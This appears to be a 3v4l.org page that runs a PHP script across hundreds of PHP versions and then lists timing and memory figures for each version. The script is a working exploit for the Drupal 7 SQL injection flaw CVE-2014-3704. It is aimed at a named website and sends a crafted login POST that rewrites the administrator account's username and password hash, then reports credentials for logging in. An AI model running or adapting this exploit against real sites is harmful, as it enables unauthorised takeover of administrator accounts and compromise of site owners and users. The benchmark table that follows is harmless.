3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://wikiooz.com/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.110.0100.00720.94
8.3.100.0030.00516.91
8.3.90.0040.00418.52
8.3.80.0090.00018.81
8.3.70.0070.01117.00
8.3.60.0100.01018.68
8.3.50.0090.01222.02
8.3.40.0040.01119.04
8.3.30.0090.00619.46
8.3.20.0080.00020.76
8.3.10.0040.00422.02
8.3.00.0070.00419.45
8.2.230.0030.00622.58
8.2.220.0140.01137.54
8.2.210.0000.00826.77
8.2.200.0000.00916.75
8.2.190.0040.01117.00
8.2.180.0040.01116.88
8.2.170.0180.00322.96
8.2.160.0060.01120.66
8.2.150.0000.00924.18
8.2.140.0060.00324.66
8.2.130.0000.00826.16
8.2.120.0050.00322.50
8.2.110.0060.00322.33
8.2.100.0060.00617.97
8.2.90.0050.00318.00
8.2.80.0000.00818.98
8.2.70.0040.00417.84
8.2.60.0030.00519.73
8.2.50.0070.00417.86
8.2.40.0110.00817.75
8.2.30.0030.00518.21
8.2.20.0000.00718.08
8.2.10.0040.00418.34
8.2.00.0060.00318.02
8.1.290.0090.00018.88
8.1.280.0140.00725.92
8.1.270.0080.00024.09
8.1.260.0040.00426.35
8.1.250.0070.00328.09
8.1.240.0060.00320.89
8.1.230.0030.00919.26
8.1.220.0050.00318.01
8.1.210.0040.00418.77
8.1.200.0030.00517.60
8.1.190.0040.00417.47
8.1.180.0000.00918.10
8.1.170.0080.00019.11
8.1.160.0000.00822.23
8.1.150.0030.00519.10
8.1.140.0040.00417.57
8.1.130.0000.00718.04
8.1.120.0050.00217.57
8.1.110.0030.00517.64
8.1.100.0040.00417.61
8.1.90.0040.00417.51
8.1.80.0040.00417.52
8.1.70.0070.00017.53
8.1.60.0080.00017.62
8.1.50.0030.00517.70
8.1.40.0000.00817.64
8.1.30.0050.00517.86
8.1.20.0040.00417.80
8.1.10.0000.00717.71
8.1.00.0000.00717.60
8.0.300.0040.00418.77
8.0.290.0040.00417.00
8.0.280.0040.00418.67
8.0.270.0050.00517.49
8.0.260.0000.00617.54
8.0.250.0030.00317.20
8.0.240.0080.00017.20
8.0.230.0070.00017.20
8.0.220.0040.00317.21
8.0.210.0070.00017.13
8.0.200.0000.00817.22
8.0.190.0030.00517.21
8.0.180.0070.00017.07
8.0.170.0030.00517.21
8.0.160.0040.00417.11
8.0.150.0040.00317.22
8.0.140.0070.00017.03
8.0.130.0000.00613.77
8.0.120.0000.00817.25
8.0.110.0050.00317.15
8.0.100.0050.00317.18
8.0.90.0050.00317.23
8.0.80.0100.00617.23
8.0.70.0000.00817.17
8.0.60.0040.00417.14
8.0.50.0040.00417.16
8.0.30.0110.00917.50
8.0.20.0110.00817.40
8.0.10.0040.00417.21
8.0.00.0060.01217.10
7.4.330.0000.00615.34
7.4.320.0000.00816.66
7.4.300.0030.00316.71
7.4.290.0030.00316.76
7.4.280.0040.00416.76
7.4.270.0030.00316.74
7.4.260.0030.00416.72
7.4.250.0040.00416.67
7.4.240.0050.00316.72
7.4.230.0030.00516.57
7.4.220.0160.00716.78
7.4.210.0150.00016.69
7.4.200.0030.00516.83
7.4.160.0100.00716.85
7.4.150.0120.00917.40
7.4.140.0140.00417.86
7.4.130.0100.00816.85
7.4.120.0130.00516.79
7.4.110.0170.00316.67
7.4.100.0160.00316.77
7.4.90.0090.00916.66
7.4.80.0110.00719.39
7.4.70.0070.01016.77
7.4.60.0090.00816.76
7.4.50.0000.00916.82
7.4.40.0100.00717.01
7.4.30.0120.00616.91
7.4.10.0020.01316.80
7.4.00.0080.00816.08
7.3.330.0020.00213.40
7.3.320.0040.00413.50
7.3.310.0040.00416.79
7.3.300.0040.00416.62
7.3.290.0060.00816.66
7.3.280.0090.00916.69
7.3.270.0160.00317.40
7.3.260.0160.00616.67
7.3.250.0050.01216.76
7.3.240.0080.01216.57
7.3.230.0060.01616.82
7.3.210.0070.01116.71
7.3.200.0190.00019.39
7.3.190.0120.00616.74
7.3.180.0070.01016.58
7.3.170.0090.00916.86
7.3.160.0070.01016.81
7.3.130.0140.00716.71
7.3.120.0070.01016.57
7.3.110.0110.00716.57
7.3.100.0070.01016.57
7.3.90.0040.01216.74
7.3.80.0150.00316.82
7.3.70.0030.00916.75
7.3.60.0100.00316.54
7.3.50.0070.00716.52
7.3.40.0040.01116.77
7.3.30.0090.00616.52
7.3.20.0070.01018.47
7.3.10.0050.01017.69
7.3.00.0050.01017.71
7.2.330.0100.00716.69
7.2.320.0130.00616.73
7.2.310.0080.01117.02
7.2.300.0150.00716.59
7.2.290.0130.01016.98
7.2.260.0070.01316.57
7.2.250.0070.01516.73
7.2.240.0070.01016.94
7.2.230.0090.00616.85
7.2.220.0030.01417.04
7.2.210.0100.00716.50
7.2.200.0040.01316.83
7.2.190.0030.01316.68
7.2.180.0060.01216.80
7.2.170.0080.00816.82
7.2.160.0060.01216.58
7.2.150.0060.00918.73
7.2.140.0100.00618.58
7.2.130.0100.00317.80
7.2.120.0090.00517.85
7.2.110.0090.00617.91
7.2.100.0050.01117.84
7.2.90.0030.01217.95
7.2.80.0090.00617.90
7.2.70.0070.00917.87
7.2.60.0090.00617.65
7.2.50.0050.00917.90
7.2.40.0080.00817.81
7.2.30.0040.01017.76
7.2.20.0100.00617.87
7.2.10.0090.00517.92
7.2.00.0050.01018.50
7.1.330.0030.01217.48
7.1.320.0080.00817.62
7.1.310.0040.01517.66
7.1.300.0090.00317.43
7.1.290.0070.00717.48
7.1.280.0070.01017.64
7.1.270.0030.01017.66
7.1.260.0060.00917.42
7.1.250.0050.01016.68
7.1.240.0020.00916.79
7.1.230.0050.01016.69
7.1.220.0080.00516.58
7.1.210.0050.00716.63
7.1.200.0070.00816.28
7.1.190.0060.00916.79
7.1.180.0020.01116.82
7.1.170.0030.01016.85
7.1.160.0050.00916.74
7.1.150.0020.00916.75
7.1.140.0050.01016.88
7.1.130.0060.00816.75
7.1.120.0020.01116.80
7.1.110.0060.00816.65
7.1.100.0060.00417.36
7.1.90.0030.01116.73
7.1.80.0050.01016.71
7.1.70.0070.00417.06
7.1.60.0040.01217.63
7.1.50.0080.01017.10
7.1.40.0050.01116.93
7.1.30.0110.00216.86
7.1.20.0040.00716.63
7.1.10.0030.01016.55
7.1.00.0080.02418.70
7.0.330.0070.00716.39
7.0.320.0070.00716.49
7.0.310.0040.01116.55
7.0.300.0060.00416.42
7.0.290.0040.00716.36
7.0.280.0070.00716.50
7.0.270.0030.01116.52
7.0.260.0030.00916.52
7.0.250.0030.01016.37
7.0.240.0040.00716.40
7.0.230.0050.01116.33
7.0.220.0070.00716.46
7.0.210.0090.00816.54
7.0.200.0060.00716.75
7.0.190.0050.00716.48
7.0.180.0060.00616.56
7.0.170.0080.00616.54
7.0.160.0040.00816.43
7.0.150.0050.00716.54
7.0.140.0030.02718.42
7.0.130.0050.00816.35
7.0.120.0070.00416.42
7.0.110.0020.00916.60
7.0.100.0080.00416.35
7.0.90.0090.00616.43
7.0.80.0050.00716.46
7.0.70.0050.00916.27
7.0.60.0100.02817.63
7.0.50.0100.03017.04
7.0.40.0070.01816.44
7.0.30.0200.02016.37
7.0.20.0140.02816.48
7.0.10.0060.02716.37
7.0.00.0100.02916.47
5.6.400.0080.00616.30
5.6.390.0060.00916.39
5.6.380.0070.00515.43
5.6.370.0080.00715.44
5.6.360.0090.00715.44
5.6.350.0040.01015.13
5.6.340.0080.00715.19
5.6.330.0090.00715.54
5.6.320.0140.00215.52
5.6.310.0070.00715.36
5.6.300.0090.00615.35
5.6.290.0020.01015.42
5.6.280.0090.02717.20
5.6.270.0070.00515.32
5.6.260.0060.00715.43
5.6.250.0080.00415.19
5.6.240.0030.01015.37
5.6.230.0050.00915.39
5.6.220.0050.01015.38
5.6.210.0090.02917.14
5.6.200.0030.03516.35
5.6.190.0060.02117.22
5.6.180.0120.02417.10
5.6.170.0100.03017.12
5.6.160.0090.02417.03
5.6.150.0050.03116.31
5.6.140.0090.01916.39
5.6.130.0040.02216.36
5.6.120.0030.02217.35
5.6.110.0090.02917.37
5.6.100.0050.01917.18
5.6.90.0050.01617.26
5.6.80.0100.03017.14
5.6.70.0060.00515.10
5.6.60.0060.00615.00
5.6.50.0030.01015.18
5.6.40.0020.01415.20
5.6.30.0100.00515.38
5.6.20.0030.01015.28
5.6.10.0010.01415.23
5.6.00.0070.00715.13
5.5.380.0020.00913.73
5.5.370.0070.00713.84
5.5.360.0060.00513.97
5.5.350.0100.02716.06
5.5.340.0100.01215.31
5.5.330.0080.02916.15
5.5.320.0140.01616.04
5.5.310.0130.02116.05
5.5.300.0090.02715.13
5.5.290.0080.01415.24
5.5.280.0110.02516.06
5.5.270.0050.03416.16
5.5.260.0070.02716.09
5.5.250.0060.03116.07
5.5.240.0030.03315.98
5.5.230.0040.01113.40
5.5.220.0020.01113.61
5.5.210.0050.00713.44
5.5.200.0070.00413.65
5.5.190.0090.00713.64
5.5.180.0080.00313.80
5.5.170.0020.01013.69
5.5.160.0080.00613.75
5.5.150.0040.00713.57
5.5.140.0060.00613.54
5.5.130.0090.00313.57
5.5.120.0050.00613.66
5.5.110.0040.00913.48
5.5.100.0080.00513.69
5.5.90.0070.00613.54
5.5.80.0060.00613.74
5.5.70.0020.00813.30
5.5.60.0050.00913.61
5.5.50.0040.01013.59
5.5.40.0050.00813.68
5.5.30.0060.00713.51
5.5.20.0020.00913.71
5.5.10.0030.00813.67
5.5.00.0080.00313.29
5.4.450.1170.01614.97
5.4.440.1210.01714.97
5.4.430.1090.02114.86
5.4.420.1160.01415.00
5.4.410.1110.01514.87
5.4.400.1460.01114.84
5.4.390.1190.01814.94
5.4.380.1190.01814.81
5.4.370.1210.01514.78
5.4.360.1240.01314.86
5.4.350.1220.01514.74
5.4.340.1210.01614.86
5.4.330.0080.00512.30
5.4.320.1120.01814.75
5.4.310.1080.01514.74
5.4.300.1120.01414.77
5.4.290.1200.01714.74
5.4.280.1280.01714.86
5.4.270.1160.01914.86
5.4.260.0910.01614.88
5.4.250.1180.01914.85
5.4.240.1170.01314.88
5.4.230.1190.01714.87
5.4.220.1180.01514.67
5.4.210.1100.01714.80
5.4.200.1220.01714.68
5.4.190.1180.02014.85
5.4.180.1190.01614.76
5.4.170.1600.02014.85
5.4.160.1220.01614.79
5.4.150.1170.02114.81
5.4.140.1290.01513.87
5.4.130.1220.01413.90
5.4.120.1070.02114.08
5.4.110.1090.01913.91
5.4.100.1090.01913.98
5.4.90.1180.01713.96
5.4.80.1250.01514.00
5.4.70.1090.02213.91
5.4.60.1190.01913.87
5.4.50.1190.01813.93
5.4.40.1270.01813.99
5.4.30.1300.01513.90
5.4.20.1240.01613.89
5.4.10.1160.01513.95
5.4.00.1170.01913.69
5.3.290.1770.02512.86
5.3.280.1670.02312.87
5.3.270.1950.02112.88
5.3.260.1750.02412.81
5.3.250.1730.02412.87
5.3.240.1350.01812.88
5.3.230.1120.02312.75
5.3.220.0930.02512.86
5.3.210.1600.02412.86
5.3.200.1100.02512.80
5.3.190.1250.02312.86
5.3.180.1400.02112.88
5.3.170.1420.02312.83
5.3.160.1570.02012.76
5.3.150.1770.02212.88
5.3.140.1530.02012.84
5.3.130.1600.02312.96
5.3.120.1450.02112.85
5.3.110.1380.02012.77
5.3.100.1250.02212.55
5.3.90.1700.02012.45
5.3.80.1550.02012.54
5.3.70.1550.02012.45
5.3.60.1570.01812.58
5.3.50.1650.02312.51
5.3.40.1640.02012.53
5.3.30.1700.02212.54
5.3.20.1700.01612.44
5.3.10.1770.02212.35
5.3.00.1630.02112.39
5.2.170.1570.01911.15
5.2.160.1400.01811.09
5.2.150.1490.01911.12
5.2.140.1480.02011.01
5.2.130.1430.01711.12
5.2.120.1880.01811.11
5.2.110.1300.02210.99
5.2.100.1570.01711.12
5.2.90.1480.01911.07
5.2.80.1470.01311.00
5.2.70.1670.01911.15
5.2.60.1430.01711.13
5.2.50.1400.01911.03
5.2.40.1220.01811.10
5.2.30.1270.01311.05
5.2.20.1180.01610.93
5.2.10.1080.01811.04
5.2.00.1200.01710.92
5.1.60.1440.01310.74
5.1.50.1200.01810.74
5.1.40.1230.01310.74
5.1.30.1080.01710.74
5.1.20.1130.01310.74
5.1.10.1070.01710.74
5.1.00.1130.01510.74
5.0.50.0630.01510.74
5.0.40.0720.01510.74
5.0.30.0640.01510.74
5.0.20.0630.01610.74
5.0.10.0650.01410.74
5.0.00.0680.01810.74
4.4.90.0580.00510.74
4.4.80.0670.01010.74
4.4.70.0530.01210.74
4.4.60.0650.01310.74
4.4.50.0650.00810.74
4.4.40.0650.01510.74
4.4.30.0680.01110.74
4.4.20.0600.00710.74
4.4.10.0530.01210.74
4.4.00.0680.01810.74
4.3.110.0620.00710.74
4.3.100.0670.01010.74
4.3.90.0620.01310.74
4.3.80.0560.01310.74
4.3.70.0720.00810.74
4.3.60.0650.01210.74
4.3.50.0570.01210.74
4.3.40.0680.01810.74
4.3.30.0270.00810.74
4.3.20.0320.01210.74
4.3.10.0280.00810.74
4.3.00.0380.01310.74

preferences:
32.74 ms | 403 KiB | 5 Q